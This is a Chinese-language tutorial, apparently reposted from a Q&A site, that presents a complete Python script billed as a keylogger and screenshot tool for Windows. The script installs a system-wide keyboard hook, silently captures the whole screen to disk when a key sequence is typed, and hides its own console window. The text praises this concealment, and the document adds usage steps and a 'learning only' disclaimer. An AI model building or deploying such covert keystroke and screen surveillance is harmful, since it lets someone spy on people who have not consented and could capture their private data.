Python 键盘记录和截屏工具:实现键盘监听和截图功能

功能介绍

本程序使用 Python 第三方库 PyHook 和 PyWin32 实现键盘记录和截屏功能。程序监听用户的键盘输入,当连续输入三个'*' 时,会截取当前屏幕并保存为图片。此外,程序还实现了进程隐藏功能,确保程序运行时的隐蔽性。

代码实现

# -*- coding: UTF-8 -*-
##############################################################################
# 程序名:keylogger_screenshot.py
# 功能:利用Python第三方库PyHook和PyWin32实现键盘记录和截屏
# 说 明:运行平台Windows。它利用Windows的SetWindowsHookEx函数注册了一个自
#         定义的钩子函数,通过函数就能截获用户的按键消息,并在用户连续输入
#         “*”时对屏幕进行截图,并以图片形式保存。
##############################################################################

import win32api
import win32gui
import win32ui
import win32con
import pyHook
import pythoncom
import win32process
import win32console

# 全局变量
count = 0  # 记录连续输入“*”的次数
hdesktop = win32gui.GetDesktopWindow()  # 获得桌面窗口句柄
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)  # 获得显示器尺寸
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)


def get_current_process():
    hwnd = win32gui.GetForegroundWindow()  # 获得前台窗口句柄
    pid = win32api.GetWindowThreadProcessId(hwnd)  # 获得进程PID
    process_name = win32process.GetModuleFileNameEx(
        win32api.OpenProcess(win32con.PROCESS_QUERY_INFORMATION | win32con.PROCESS_VM_READ, False, pid[1]), 0)  # 获得进程名

    print("[ PID: %s - %s ]" % (pid[1], process_name))


def screen_shot():
    global count

    desktop_dc = win32gui.GetWindowDC(hdesktop)  # 创建设备描述表
    img_dc = win32ui.CreateDCFromHandle(desktop_dc)
    mem_dc = img_dc.CreateCompatibleDC()  # 创建基于内存的设备描述表

    screenshot = win32ui.CreateBitmap()
    screenshot.CreateCompatibleBitmap(img_dc, width, height)  # 创建位图对象
    mem_dc.SelectObject(screenshot)
    mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)  # 复制屏幕
    # screenshot.SaveBitmapFile(mem_dc, 'C:/screen.bmp')  # 将位图保存到文件
    # 保存到文件
    screenshot.SaveBitmapFile(mem_dc, 'C:/Users/20205/PycharmProjects/pythonProject/screen.bmp')

    # 内存释放
    mem_dc.DeleteDC()
    win32gui.DeleteObject(screenshot.GetHandle())

    count = 0  # 重置计数器


def key_event(event):
    global count

    if event.Ascii == 42:  # 检查是否输入“*”
        count += 1
        if count >= 3:  # 连续输入3次“*”时截图
            screen_shot()
    else:
        count = 0

    return True  # 返回到下一个钩子事件


def key_logger():
    hooker = pyHook.HookManager()  # 创建钩子函数管理器
    hooker.KeyDown = key_event  # 注册钩子按键事件的处理函数
    hooker.HookKeyboard()  # 创建键盘钩子
    pythoncom.PumpMessages()


if __name__ == '__main__':
    # 隐藏进程
    win32gui.ShowWindow(win32console.GetConsoleWindow(), 0)
    get_current_process()
    key_logger()

使用说明

  1. 确保已安装 PyHook 和 PyWin32 库。
  2. 运行程序,程序会隐藏在后台运行。
  3. 在任何窗口中连续输入三个 '*',程序会截取当前屏幕并保存到指定路径。

注意事项

本程序仅供学习参考,请勿用于任何非法用途。

代码解析

  1. 键盘监听
    • 使用 pyHook 库创建键盘钩子,监听用户的键盘输入。
    • key_event() 函数处理键盘事件,当连续输入三个 '*' 时调用 screen_shot() 函数进行截图。
  2. 截图功能
    • 使用 PyWin32 库获取桌面窗口句柄和屏幕尺寸。
    • 使用 win32ui.CreateBitmap() 创建位图对象,使用 mem_dc.BitBlt() 复制屏幕内容到位图对象。
    • 使用 screenshot.SaveBitmapFile() 将位图保存到文件。
  3. 进程隐藏
    • 使用 win32gui.ShowWindow() 函数隐藏程序窗口,使其在后台运行。

总结

本程序通过简单的代码实现了键盘记录和截屏功能,并通过进程隐藏功能提高了程序的隐蔽性。程序的代码结构清晰,易于理解,可以作为学习 Python 编程和使用第三方库的参考。

相关链接

免责声明

本程序仅供学习参考,请勿用于任何非法用途。作者不对任何因使用本程序而导致的损失负责。

Python 键盘记录和截屏工具:实现键盘监听和截图功能

原文地址: https://www.cveoy.top/t/topic/nAOy 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录